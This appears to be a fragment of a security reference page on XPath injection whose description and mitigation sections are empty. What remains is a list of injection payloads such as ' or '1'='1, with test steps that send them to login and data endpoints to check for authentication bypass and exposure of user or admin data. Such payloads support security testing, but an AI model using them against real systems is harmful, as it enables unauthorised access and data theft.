XPath Injection
XPath Injection
Description
Example with Scenario
Payloads and Test Cases
' or '1'='1' or name()='user' or '1'='1' or name()='admin' or '1'='1
' or '1'='1# Send payload to the server sendPayloadToServer("/login?username=' or '1'='1") # Verify if the application grants access checkAuthentication("any_user")
' or name()='user' or '1'='1# Send payload to the server sendPayloadToServer("/data?query=' or name()='user' or '1'='1") # Verify if the application retrieves user data checkDataRetrieval("user")
' or name()='admin' or '1'='1# Send payload to the server sendPayloadToServer("/data?query=' or name()='admin' or '1'='1") # Verify if the application retrieves admin data checkDataRetrieval("admin")
Mitigation
Last updated